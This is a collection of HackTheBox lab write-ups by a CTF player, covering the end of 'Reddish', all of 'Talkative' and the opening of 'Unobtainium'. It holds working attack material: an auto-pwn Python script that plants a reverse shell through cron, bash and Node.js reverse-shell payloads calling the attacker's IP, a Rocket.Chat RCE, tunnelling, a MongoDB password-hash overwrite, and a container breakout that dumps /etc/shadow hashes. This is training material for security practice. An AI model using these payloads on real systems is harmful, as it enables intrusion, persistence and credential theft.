    socat.sendline("echo 'import os,pty,socket;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"" + LHOST + "\"," + str(LPORT4) + "));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);os.putenv(\"HISTFILE\",\"/dev/null\");pty.spawn([\"/bin/bash\",\"-i\"]);s.close();exit();' > /mnt/sda1/tmp/" + UUIDNAME + ".py") 
    socat.sendline("echo '* * * * * root /usr/bin/python /tmp/" + UUIDNAME + ".py' > /mnt/sda1/etc/cron.d/" + UUIDNAME + "cronjob")
    host_shell = listen(LPORT4, bindaddr=LHOST, timeout=65).wait_for_connection()
    if host_shell.sock is None:
        p.failure("FAIL")
        sys.exit()
    else:
        p.success("OK")
    host_shell.interactive()
    sys.exit()
```

effect as below:

``` bash
root@kali:~/hackthebox/machine/reddish# python autopwnreddish.py 
What shell do you want?
[1] root@nodered
[2] www-data@www
[3] root@www
[4] root@backup
[5] root@reddish
[6] Exit
Please enter a number 1-6: 1
[+] Getting our id: OK (id = c507228abb96d45d0541fd5eacebd9dd)
[+] Trying to bind to 10.10.14.9 on port 60000: Done
[+] Waiting for connections on 10.10.14.9:60000: Got connection from 10.10.10.94 on port 36186
[+] Loading node-red flows: OK
[+] Injecting base64-encoded socat: OK
[+] Injecting socat reverse shell via nodejs [10.10.14.9:60000]: OK
[*] Switching to interactive mode
root@nodered:/node-red# $ id
uid=0(root) gid=0(root) groups=0(root)
root@nodered:/node-red# $ whoami
root
root@nodered:/node-red# $ cd ~
root@nodered:~# $ ls
root@nodered:~# $ exit
exit
[*] Got EOF while reading in interactive
$ 
$ exit
[*] Closed connection to 10.10.10.94 port 36186
[*] Got EOF while sending in interactive
root@kali:~/hackthebox/machine/reddish# python autopwnreddish.py 
What shell do you want?
[1] root@nodered
[2] www-data@www
[3] root@www
[4] root@backup
[5] root@reddish
[6] Exit
Please enter a number 1-6: 5
[+] Getting our id: OK (id = c507228abb96d45d0541fd5eacebd9dd)
[+] Trying to bind to 10.10.14.9 on port 60000: Done
[+] Waiting for connections on 10.10.14.9:60000: Got connection from 10.10.10.94 on port 36192
[+] Loading node-red flows: OK
[+] Injecting base64-encoded socat: OK
[+] Injecting socat reverse shell via nodejs [10.10.14.9:60000]: OK
[+] Uploading 83df6e1b.php on the www container via redis: OK (user = www-data@www)
[+] Sending perl bind shell [www-data@www:62236] via 83df6e1b.php & trying to connect: OK
[+] Exploiting wildcards for privesc. Wait at most 180 secs for rsync backup job to run: OK
[+] Sending a cronjob for bind shell [root@backup:65274]. Please wait: OK
[+] Sending reverse shell cronjob [10.10.14.9:60001] for root@host. Please wait: OK
[+] Trying to bind to 10.10.14.9 on port 60001: Done
[+] Waiting for connections on 10.10.14.9:60001: Got connection from 10.10.10.94 on port 49704
[*] Switching to interactive mode
root@reddish:~# $ id
id
uid=0(root) gid=0(root) groups=0(root)
root@reddish:~# $ whoami
whoami
root
root@reddish:~# $ hostname
hostname
reddish
root@reddish:~# $ ls
ls
root.txt
root@reddish:~# $ cat root.txt
cat root.txt
50d0db644c8d5ff5312ef3d17c2ed205
```

very very powerful scripts!!!

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb59.jpg)

#### Summary of knowledge

 - Code Execution and getShell in Node-Red
 - Network Enumeration and ping sweep
 - upgrade path to Meterpreter using sessions -u
 - compolicated port forwarding tech
 - error information disclosure
 - redis service getshell
 - socat port forwarding
 - Exploiting the Wildcard and cronjob to privesc
 - perl and port forwarding to download file
 - use port 873 rsync service and cron job to getshell and privesc
 - beyong root research
 - Dropbear Create Tunnel and get root shell
 - python auto-pwn script

#### Contact me

 - QQ: 1185151867
 - twitter: https://twitter.com/fdlucifer11
 - github: https://github.com/FDlucifer

<font color="blue">I'm lUc1f3r11, a ctfer, reverse engineer, ioter, red teamer, coder, gopher, pythoner, AI lover, security reseacher, hacker, bug hunter and more...</font>
<!-- kb:end reddish -->

</details>

<a id="case-talkactive"></a>

## 多语言管理面与 Docker 能力

RJ Editor、Bolt、MongoDB 和 Rocket.Chat 串起原有账户转换，最后结合 Docker breakout 条件读取宿主材料。保留各转发端口与接口。

<p class="kb-provenance">来源 talkactive · 原记录 2022-04-10 · 19 个代码块 · 14 处图片引用</p>

<details class="kb-evidence" id="record-talkactive">
<summary>查看分析过程、攻击步骤与完整代码</summary>

<!-- kb:start talkactive -->

#### introduce

OS: Linux
Difficulty: Hard
Points:	40
Release:	09 Apr 2022
IP:	10.10.11.155

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2197.jpg)

 - ![my htb rank](http://www.hackthebox.eu/badge/image/235857)



#### Enumeration
#### NMAP

``` bash
┌──(root💀kali)-[~/hackthebox/machine/talkactive]
└─# nmap -sV -v -p- --min-rate=10000 10.10.11.155
PORT     STATE SERVICE VERSION
80/tcp   open  http    Apache httpd 2.4.52
3000/tcp open  ppp?
8080/tcp open  http    Tornado httpd 5.0
8081/tcp open  http    Tornado httpd 5.0
8082/tcp open  http    Tornado httpd 5.0
```

we found several web service:

 - Bolt CMS

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2198.jpg)

 - jamovi 0.9.5.5

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2199.jpg)

 - ROCKET.CHAT

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2200.jpg)

#### initial shell

go to :8080, open RJ editor add this line excecute ruby command to get a shell. =>

``` bash
system("bash -c 'bash -i >& /dev/tcp/10.10.14.18/9001 0>&1'",intern=TRUE)
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2201.jpg)

and we found a .omv file, just download and extract it and u will get creds.

i used pwncat, so it could download or upload files easily

 - [pwncat](https://github.com/calebstewart/pwncat)

``` bash
(remote) root@b06821bbda78:/root# ls
Documents  bolt-administration.omv
(local) pwncat$ download /root/bolt-administration.omv ./bolt-administration.omv
/root/bolt-administration.omv ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100.0% • 2.2/2.2 KB • ? • 0:00:00
[09:41:08] downloaded 2.19KiB in 2.86 seconds

┌──(root💀kali)-[~/hackthebox/machine/talkactive]
└─# file bolt-administration.omv 
bolt-administration.omv: Zip archive data, at least v2.0 to extract, compression method=deflate
┌──(root💀kali)-[~/hackthebox/machine/talkactive]
└─# unzip bolt-administration.omv 
Archive:  bolt-administration.omv
  inflating: META-INF/MANIFEST.MF    
  inflating: meta                    
  inflating: index.html              
  inflating: metadata.json           
  inflating: xdata.json              
  inflating: data.bin                
  inflating: 01 empty/analysis
┌──(root💀kali)-[~/hackthebox/machine/talkactive]
└─# cat xdata.json | jq .   
{
  "A": {
    "labels": [
      [
        0,
        "Username",
        "Username",
        false
      ],
      [
        1,
        "matt@talkative.htb",
        "matt@talkative.htb",
        false
      ],
      [
        2,
        "janit@talkative.htb",
        "janit@talkative.htb",
        false
      ],
      [
        3,
        "saul@talkative.htb",
        "saul@talkative.htb",
        false
      ]
    ]
  },
  "B": {
    "labels": [
      [
        0,
        "Password",
        "Password",
        false
      ],
      [
        1,
        "jeO09ufhWD<s",
        "jeO09ufhWD<s",
        false
      ],
      [
        2,
        "bZ89h}V<S_DA",
        "bZ89h}V<S_DA",
        false
      ],
      [
        3,
        ")SQWGm>9KHEA",
        ")SQWGm>9KHEA",
        false
      ]
    ]
  },
  "C": {
    "labels": []
  }
}
```

now Go to :80, /bolt login with the creds:

``` bash
admin:jeO09ufhWD<s
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2202.jpg)

now Modify the http://talkative.htb/bolt/file-edit/config?file=/bundles.php bundles file, add a PHP rev shell, u will get shell on another container.

on the container as www-data, use ssh to login on main host ssh saul@172.18.0.1 with the same bolt password

``` bash
┌──(root💀kali)-[~/hackthebox/machine/talkactive]
└─# pwncat-cs -lp 1234                           
[09:52:38] Welcome to pwncat 🐈!                                                                                     __main__.py:164
[09:54:49] received connection from 10.10.11.155:60622                                                                    bind.py:84
[09:54:56] 0.0.0.0:1234: upgrading from /bin/dash to /bin/bash                                                        manager.py:957
[09:54:59] 10.10.11.155:60622: registered new host w/ db                                                              manager.py:957
(local) pwncat$ back
(remote) www-data@ad8ae3998918:/$ ls
bin  boot  dev  etc  home  lib  lib64  media  mnt  opt  proc  root  run  sbin  srv  sys  tmp  usr  var
(remote) www-data@ad8ae3998918:/$ ssh saul@172.18.0.1
The authenticity of host '172.18.0.1 (172.18.0.1)' can't be established.
ECDSA key fingerprint is SHA256:kUPIZ6IPcxq7Mei4nUzQI3JakxPUtkTlEejtabx4wnY.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Could not create directory '/var/www/.ssh' (Permission denied).
Failed to add the host to the list of known hosts (/var/www/.ssh/known_hosts).
saul@172.18.0.1's password: 
Welcome to Ubuntu 20.04.4 LTS (GNU/Linux 5.4.0-81-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Sun 10 Apr 2022 01:56:50 PM UTC

  System load:                      0.0
  Usage of /:                       78.5% of 8.80GB
  Memory usage:                     70%
  Swap usage:                       2%
  Processes:                        392
  Users logged in:                  1
  IPv4 address for br-ea74c394a147: 172.18.0.1
  IPv4 address for docker0:         172.17.0.1
  IPv4 address for eth0:            10.10.11.155
  IPv6 address for eth0:            dead:beef::250:56ff:feb9:3aae


18 updates can be applied immediately.
8 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Sun Apr 10 12:46:40 2022 from 172.17.0.13
saul@talkative:~$ id
uid=1000(saul) gid=1000(saul) groups=1000(saul)
saul@talkative:~$ whoami
saul
saul@talkative:~$ cat user.txt 
e2503f45e99ee3fec7c7a4f44c5c87ed
```

and we get our user flag

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2203.jpg)

#### move on to root

pspy found some interesting process

``` bash
2022/04/09 21:31:01 CMD: UID=0    PID=79640  | /bin/sh -c cp /root/.backup/passwd /etc/passwd 
2022/04/09 21:31:01 CMD: UID=0    PID=84170  | cp /root/.backup/shadow /etc/shadow 
2022/04/09 21:51:01 CMD: UID=0    PID=84169  | python3 /root/.backup/update_mongo.py 
2022/04/09 21:51:01 CMD: UID=0    PID=84172  | python3 /root/.backup/update_mongo.py
```

``` bash
tcp        0      0 172.17.0.1:6000         0.0.0.0:*               LISTEN      off (0.00/0/0)
tcp        0      0 0.0.0.0:8080            0.0.0.0:*               LISTEN      off (0.00/0/0)
tcp        0      0 172.17.0.1:6001         0.0.0.0:*               LISTEN      off (0.00/0/0)
tcp        0      0 0.0.0.0:8081            0.0.0.0:*               LISTEN      off (0.00/0/0)
tcp        0      0 172.17.0.1:6002         0.0.0.0:*               LISTEN      off (0.00/0/0)
tcp        0      0 0.0.0.0:8082            0.0.0.0:*               LISTEN      off (0.00/0/0)
tcp        0      0 172.17.0.1:6003         0.0.0.0:*               LISTEN      off (0.00/0/0)
tcp        0      0 172.17.0.1:6004         0.0.0.0:*               LISTEN      off (0.00/0/0)
tcp        0      0 172.17.0.1:6005         0.0.0.0:*               LISTEN      off (0.00/0/0)
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      off (0.00/0/0)
tcp        0      0 172.17.0.1:6006         0.0.0.0:*               LISTEN      off (0.00/0/0)
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      off (0.00/0/0)
tcp        0      0 172.17.0.1:6007         0.0.0.0:*               LISTEN      off (0.00/0/0)
tcp        0      0 172.17.0.1:6008         0.0.0.0:*               LISTEN      off (0.00/0/0)
tcp        0      0 127.0.0.1:3000          0.0.0.0:*               LISTEN      off (0.00/0/0)
tcp        0      0 172.17.0.1:6009         0.0.0.0:*               LISTEN      off (0.00/0/0)
tcp        0      0 172.17.0.1:6010         0.0.0.0:*               LISTEN      off (0.00/0/0)
tcp        0      0 172.17.0.1:6011         0.0.0.0:*               LISTEN      off (0.00/0/0)
tcp        0      0 172.17.0.1:6012         0.0.0.0:*               LISTEN      off (0.00/0/0)
tcp        0      0 172.17.0.1:6013         0.0.0.0:*               LISTEN      off (0.00/0/0)
tcp        0      0 172.17.0.1:6014         0.0.0.0:*               LISTEN      off (0.00/0/0)
tcp        0      0 172.17.0.1:6015         0.0.0.0:*               LISTEN      off (0.00/0/0)
tcp        0      0 172.18.0.1:22           172.17.0.13:37184       ESTABLISHED keepalive (6455.50/0/0)
tcp6       0      0 :::8080                 :::*                    LISTEN      off (0.00/0/0)
tcp6       0      0 :::8081                 :::*                    LISTEN      off (0.00/0/0)
tcp6       0      0 :::8082                 :::*                    LISTEN      off (0.00/0/0)
udp        0      0 127.0.0.1:39995         127.0.0.53:53           ESTABLISHED off (0.00/0/0)
```

after ip range and port scan, we known, now use chisel port forward mongo DB 172.17.0.2:27017 and change admins password for rocket.chat

 - [chisel](https://github.com/jpillora/chisel)

``` bash
saul@talkative:~$ ./chisel client 10.10.14.18:4444 R:27017:172.17.0.2:27017 &
[1] 6493
saul@talkative:~$ 2022/04/10 14:13:52 client: Connecting to ws://10.10.14.18:4444

saul@talkative:~$ 2022/04/10 14:13:55 client: Connected (Latency 371.579937ms)
```

``` bash
┌──(root💀kali)-[~/hackthebox/endgame/ascension]
└─# ./chisel server -p 4444 --reverse
2022/04/10 06:04:31 server: Reverse tunnelling enabled
2022/04/10 06:04:31 server: Fingerprint YV//bCvnlszVb4QzNq2stvLbKxLfQ33OQ4mKu6Y5zME=
2022/04/10 06:04:31 server: Listening on http://0.0.0.0:4444
2022/04/10 06:04:37 server: session#1: tun: proxy#R:27017=>172.17.0.2:27017: Listening
```

now we have to install mongosh to connect to mongodb, and enum some information:

``` bash
$ wget https://downloads.mongodb.com/compass/mongodb-mongosh_1.3.1_amd64.deb
$ dpkg -i mongodb-mongosh_1.3.1_amd64.deb
┌──(root💀kali)-[~/hackthebox/machine/talkactive]
└─# mongosh "mongodb://LOCALHOST:27017" 
Current Mongosh Log ID: 6252e6b51f6c27d3c8cfc72a
Connecting to:          mongodb://LOCALHOST:27017/?directConnection=true&appName=mongosh+1.3.1
Using MongoDB:          4.0.26
Using Mongosh:          1.3.1

For mongosh info see: https://docs.mongodb.com/mongodb-shell/

------
   The server generated these startup warnings when booting:
   2022-04-10T12:32:16.345+0000: 
   2022-04-10T12:32:16.345+0000: ** WARNING: Using the XFS filesystem is strongly recommended with the WiredTiger storage engine
   2022-04-10T12:32:16.345+0000: **          See http://dochub.mongodb.org/core/prodnotes-filesystem
   2022-04-10T12:32:18.390+0000: 
   2022-04-10T12:32:18.390+0000: ** WARNING: Access control is not enabled for the database.
   2022-04-10T12:32:18.390+0000: **          Read and write access to data and configuration is unrestricted.
   2022-04-10T12:32:18.391+0000: 
------

rs0 [direct: primary] test> show databases
admin    106 kB
config   160 kB
local   11.9 MB
meteor  5.08 MB
rs0 [direct: primary] test> use admin
switched to db admin
rs0 [direct: primary] admin> show tables
system.keys
system.version
rs0 [direct: primary] admin> db.system.keys.find()
[
  {
    _id: Long("6994889321446637571"),
    purpose: 'HMAC',
    key: Binary(Buffer.from("6def3ebf131b6d0197852202f4908cf0f279016e", "hex"), 0),
    expiresAt: Timestamp({ t: 1636400583, i: 0 })
  },
  {
    _id: Long("6994889321446637572"),
    purpose: 'HMAC',
    key: Binary(Buffer.from("52057603cc02d6cf032aa2d1dc592ad3f8889b06", "hex"), 0),
    expiresAt: Timestamp({ t: 1644176583, i: 0 })
  },
  {
    _id: Long("7064639126477209602"),
    purpose: 'HMAC',
    key: Binary(Buffer.from("8d89fa517f7aaf2813b681aa0e63bcae2a3238cc", "hex"), 0),
    expiresAt: Timestamp({ t: 1652640475, i: 0 })
  },
  {
    _id: Long("7064639126477209603"),
    purpose: 'HMAC',
    key: Binary(Buffer.from("ede2184b2b29a5eb05cca53adb9246b73dc3c90f", "hex"), 0),
    expiresAt: Timestamp({ t: 1660416475, i: 0 })
  }
]
rs0 [direct: primary] admin> use meteor
switched to db meteor
rs0 [direct: primary] meteor> db.users.find()
[
  {
    _id: 'rocket.cat',
    createdAt: ISODate("2021-08-10T19:44:00.224Z"),
    avatarOrigin: 'local',
    name: 'Rocket.Cat',
    username: 'rocket.cat',
    status: 'online',
    statusDefault: 'online',
    utcOffset: 0,
    active: true,
    type: 'bot',
    _updatedAt: ISODate("2021-08-10T19:44:00.615Z"),
    roles: [ 'bot' ]
  },
  {
    _id: 'ZLMid6a4h5YEosPQi',
    createdAt: ISODate("2021-08-10T19:49:48.673Z"),
    services: {
      password: {
        bcrypt: '$2a$10$n9CM8OgInDlwpvjLKLPML.eizXIzLlRtgCh3GRLafOdR9ldAUh/KG'
      },
      resume: {
        loginTokens: [
          {
            when: ISODate("2022-04-10T13:00:11.904Z"),
            hashedToken: 'n3ZC1SRtuFsYyAAcaelzbdMkwWv7bI4IONsiahBenNI='
          }
        ]
      }
    },
    emails: [ { address: 'saul@talkative.htb', verified: false } ],
    type: 'user',
    status: 'offline',
    active: true,
    _updatedAt: ISODate("2022-04-10T13:59:52.416Z"),
    roles: [ 'admin', 'bot' ],
    name: 'Saul Goodman',
    lastLogin: ISODate("2022-04-10T13:00:11.897Z"),
    statusConnection: 'offline',
    username: 'admin',
    utcOffset: 0
  }
]
```

now we could update admin's bcrypt hash to change the password:

``` bash
rs0 [direct: primary] meteor> db.getCollection('users').update({username:"admin"}, { $set: {"services" : { "password" : {"bcrypt" : "$2a$10$n9CM8OgInDlwpvjLKLPML.eizXIzLlRtgCh3GRLafOdR9ldAUh/KG" } } } })
DeprecationWarning: Collection.update() is deprecated. Use updateOne, updateMany, or bulkWrite.
{
  acknowledged: true,
  insertedId: null,
  matchedCount: 1,
  modifiedCount: 1,
  upsertedCount: 0
}
```

then use: admin/12345 to login into rocket.chat pannel

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2204.jpg)

we found target is rocket.chat 2.4.14, is vulnerable

 - [Rocket.Chat 3.12.1 - NoSQL Injection (Unauthenticated)](https://www.exploit-db.com/exploits/49960)

 - [CVE-2021-22911](https://github.com/CsEnox/CVE-2021-22911)

we can change the following to rev shell:

``` bash
const require = console.log.constructor('return process.mainModule.require')();
const { exec } = require('child_process');
exec('command here');
```

``` bash
const require = console.log.constructor('return process.mainModule.require')();
var net = require("net"), cp = require("child_process"), sh = cp.spawn("/bin/sh", []);
var client = new net.Socket();
client.connect(1234, "10.10.14.18", function(){
  client.pipe(sh.stdin);
  sh.stdout.pipe(client);
  sh.stderr.pipe(client);
});
```

then go to: http://talkative.htb:3000/admin/integrations/new, select "Incoming WebHook Integration"

fill in like following pics:

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2205.jpg)

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2206.jpg)

then copy this url, curl it, we got a shell in a container again

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2207.jpg)

``` bash
┌──(root💀kali)-[~/hackthebox/machine/talkactive]
└─# curl http://talkative.htb:3000/hooks/23fvWJGcJ7b47SGHy/PWHLFZoXrTQLpM5fT2GMzAgxBNhXKD7k3QD3K8nkHcXWAkEZ
{"success":false}
```

``` bash
┌──(root💀kali)-[~/hackthebox/machine/talkactive]
└─# pwncat-cs -lp 1234
[10:45:00] Welcome to pwncat 🐈!                                                                                     __main__.py:164
[10:45:08] received connection from 10.10.11.155:46286                                                                    bind.py:84
[10:45:16] 0.0.0.0:1234: upgrading from /bin/dash to /bin/bash                                                        manager.py:957
[10:45:20] 10.10.11.155:46286: registered new host w/ db                                                              manager.py:957
(local) pwncat$ back
(remote) root@c150397ccd63:/app/bundle/programs/server# ls
app                boot.js.map    mini-files.js.map        npm-rebuild.js      npm-shrinkwrap.json  program.json
assets             config.json    node_modules             npm-rebuild.js.map  package.json         runtime.js
boot-utils.js      debug.js       npm                      npm-rebuilds.json   packages             runtime.js.map
boot-utils.js.map  debug.js.map   npm-rebuild-args.js      npm-require.js      profile.js           server-json.js
boot.js            mini-files.js  npm-rebuild-args.js.map  npm-require.js.map  profile.js.map       server-json.js.map
(remote) root@c150397ccd63:/app/bundle/programs/server# id
uid=0(root) gid=0(root) groups=0(root)
(remote) root@c150397ccd63:/app/bundle/programs/server# whoami
root
```

after run some linux enum script, found capabilities cap_dac_read_search

 - [shocker: docker PoC VMM-container breakout](http://stealth.openwall.net/xSports/shocker.c)

first Modify the file, then we compile it in our attack kali machine:

``` bash
    // get a FS reference from something mounted in from outside
    if ((fd1 = open("/etc/hostname", O_RDONLY)) < 0)
        die("[-] open");

    if (find_handle(fd1, "/root/root.txt", &root_h, &h) <= 0)
        die("[-] Cannot find valid handle!");
```

 - Dynamic compilation

``` bash
gcc shocker.c -o shocker
```

 - Static compilation

``` bash
cc -Wall -std=c99 -O2 shocker.c -static
```

then upload these binary, then execute it

``` bash
(local) pwncat$ upload ./a.out /root/static
/root/static ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100.0% • 824.1/824.1 KB • ? • 0:00:00
[10:53:06] uploaded 824.11KiB in 13.93 seconds                                                                          upload.py:76
(local) pwncat$ upload ./shocker /root/shocker
/root/shocker ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100.0% • 17.2/17.2 KB • ? • 0:00:00
[10:53:48] uploaded 17.21KiB in 4.49 seconds                                                                            upload.py:76
(local) pwncat$ upload ./shadow /root/shadow
/root/shadow ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100.0% • 17.2/17.2 KB • ? • 0:00:00
[10:53:57] uploaded 17.21KiB in 4.49 seconds                                                                            upload.py:76
(local) pwncat$ back
(remote) root@c150397ccd63:/root# chmod 777 *
(remote) root@c150397ccd63:/root# ./static
[***] docker VMM-container breakout Po(C) 2014             [***]
[***] The tea from the 90's kicks your sekurity again.     [***]
[***] If you have pending sec consulting, I'll happily     [***]
[***] forward to my friends who drink secury-tea too!      [***]

<enter>

[*] Resolving 'root/root.txt'
[*] Found lib32
[*] Found ..
[*] Found lost+found
[*] Found sbin
[*] Found bin
[*] Found boot
[*] Found dev
[*] Found run
[*] Found lib64
[*] Found .
[*] Found var
[*] Found home
[*] Found media
[*] Found proc
[*] Found etc
[*] Found lib
[*] Found libx32
[*] Found cdrom
[*] Found root
[+] Match: root ino=18
[*] Brute forcing remaining 32bit. This can take a while...
[*] (root) Trying: 0x00000000
[*] #=8, 1, char nh[] = {0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00};
[*] Resolving 'root.txt'
[*] Found ..
[*] Found .backup
[*] Found .config
[*] Found .cache
[*] Found .local
[*] Found .ssh
[*] Found .
[*] Found .profile
[*] Found .bashrc
[*] Found root.txt
[+] Match: root.txt ino=110097
[*] Brute forcing remaining 32bit. This can take a while...
[*] (root.txt) Trying: 0x00000000
[*] #=8, 1, char nh[] = {0x11, 0xae, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00};
[!] Got a final handle!
[*] #=8, 1, char nh[] = {0x11, 0xae, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00};
[!] Win! /etc/shadow output follows:
99a37c0a5b01ffc4ad1204d0dd1bc884

(remote) root@c150397ccd63:/root# ./shadow 
[***] docker VMM-container breakout Po(C) 2014             [***]
[***] The tea from the 90's kicks your sekurity again.     [***]
[***] If you have pending sec consulting, I'll happily     [***]
[***] forward to my friends who drink secury-tea too!      [***]

<enter>

[*] Resolving 'etc/shadow'
[*] Found lib32
[*] Found ..
[*] Found lost+found
[*] Found sbin
[*] Found bin
[*] Found boot
[*] Found dev
[*] Found run
[*] Found lib64
[*] Found .
[*] Found var
[*] Found home
[*] Found media
[*] Found proc
[*] Found etc
[+] Match: etc ino=393217
[*] Brute forcing remaining 32bit. This can take a while...
[*] (etc) Trying: 0x00000000
[*] #=8, 1, char nh[] = {0x01, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00};
[*] Resolving 'shadow'
[*] Found modules-load.d
[*] Found lsb-release
[*] Found rsyslog.conf
[*] Found rc6.d
[*] Found calendar
[*] Found fstab
[*] Found shadow
[+] Match: shadow ino=393228
[*] Brute forcing remaining 32bit. This can take a while...
[*] (shadow) Trying: 0x00000000
[*] #=8, 1, char nh[] = {0x0c, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00};
[!] Got a final handle!
[*] #=8, 1, char nh[] = {0x0c, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00};
[!] Win! /etc/shadow output follows:
root:$6$9GrOpvcijuCP93rg$tkcyh.ZwH5w9AHrm66awD9nLzMHv32QqZYGiIfuLow4V1PBkY0xsKoyZnM3.AI.yGWfFLOFDSKsIR9XnKLbIY1:19066:0:99999:7:::
daemon:*:18659:0:99999:7:::
bin:*:18659:0:99999:7:::
sys:*:18659:0:99999:7:::
sync:*:18659:0:99999:7:::
games:*:18659:0:99999:7:::
man:*:18659:0:99999:7:::
lp:*:18659:0:99999:7:::
mail:*:18659:0:99999:7:::
news:*:18659:0:99999:7:::
uucp:*:18659:0:99999:7:::
proxy:*:18659:0:99999:7:::
www-data:*:18659:0:99999:7:::
backup:*:18659:0:99999:7:::
list:*:18659:0:99999:7:::
irc:*:18659:0:99999:7:::
gnats:*:18659:0:99999:7:::
nobody:*:18659:0:99999:7:::
systemd-network:*:18659:0:99999:7:::
systemd-resolve:*:18659:0:99999:7:::
systemd-timesync:*:18659:0:99999:7:::
messagebus:*:18659:0:99999:7:::
syslog:*:18659:0:99999:7:::
_apt:*:18659:0:99999:7:::
tss:*:18659:0:99999:7:::
uuidd:*:18659:0:99999:7:::
tcpdump:*:18659:0:99999:7:::
landscape:*:18659:0:99999:7:::
pollinate:*:18659:0:99999:7:::
usbmux:*:18849:0:99999:7:::
sshd:*:18849:0:99999:7:::
systemd-coredump:!!:18849::::::
lxd:!:18849::::::
saul:$6$19rUyMaBLt7.CDGj$ik84VX1CUhhuiMHxq8hSMjKTDMxHt.ldQC15vFyupafquVyonyyb3/S6MO59tnJHP9vI5GMvbE9T4TFeeeKyg1:19058:0:99999:7:::
```

we see both Dynamic compilation and Static compilation file works, we are done

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2208.jpg)

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2209.jpg)

#### Summary of knowledge

 - RJ editor get shell
 - pwncat upload and download files
 - bolt cms get shell
 - chisel port forward MongoDB 27017 port
 - update admin's bcrypt hash to change the password
 - rocket.chat rce
 - shocker: docker PoC VMM-container breakout to get root flag

#### Contact me

 - QQ: 1185151867
 - twitter: https://twitter.com/fdlucifer11
 - github: https://github.com/FDlucifer

<font color="blue">I'm lUc1f3r11, a ctfer, reverse engineer, ioter, red teamer, coder, gopher, pythoner, AI lover, security reseacher, hacker, bug hunter and more...</font>
<!-- kb:end talkactive -->

</details>

<a id="case-unobtainium"></a>

## 原型污染与 Pod 权限

客户端流量、文件读取和 Node.js 原型污染连接执行，Kubernetes API 与 Pod 配置决定容器后的权限。原始对象、API 与 kubectl 命令完整保留。

<p class="kb-provenance">来源 Unobtainium · 原记录 2021-04-23 · 48 个代码块 · 5 处图片引用</p>

<details class="kb-evidence" id="record-unobtainium">
<summary>查看分析过程、攻击步骤与完整代码</summary>

<!-- kb:start Unobtainium -->

#### introduce

OS: Linux
Difficulty: Hard
Points:	40
Release:	10 Apr 2021
IP:	10.10.10.235

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb1929.jpg)

 - ![my htb rank](http://www.hackthebox.eu/badge/image/235857)



#### information gathering

first use nmap as usaul

``` bash
┌──(root💀kali)-[~/hackthebox/machine/unobtainium]
└─# nmap -sV -v -p- --min-rate=10000 10.10.10.235
PORT      STATE SERVICE          VERSION
22/tcp    open  ssh              OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
80/tcp    open  http             Apache httpd 2.4.41 ((Ubuntu))
2379/tcp  open  ssl/etcd-client?
2380/tcp  open  ssl/etcd-server?
8443/tcp  open  ssl/https-alt
10250/tcp open  ssl/http         Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
10256/tcp open  http             Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
31337/tcp open  http             Node.js Express framework
```

There is a lot's of ports open

Let's start with port-80

#### Port-80

There is a simple html page.

Let's download the .deb package, i am using kali linux

Unzip the file we got .deb package.

Let's extract the files inside .deb package without installing them.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/unobtainium]
└─# wget http://10.10.10.235/downloads/unobtainium_debian.zip
--2021-04-23 00:06:14--  http://10.10.10.235/downloads/unobtainium_debian.zip
正在连接 10.10.10.235:80... 已连接。
已发出 HTTP 请求，正在等待回应... 200 OK
长度：54853780 (52M) [application/zip]
正在保存至: “unobtainium_debian.zip”

unobtainium_debian.zip               100%[====================================================================>]  52.31M  1017KB/s  用时 96s     

2021-04-23 00:07:50 (559 KB/s) - 已保存 “unobtainium_debian.zip” [54853780/54853780])

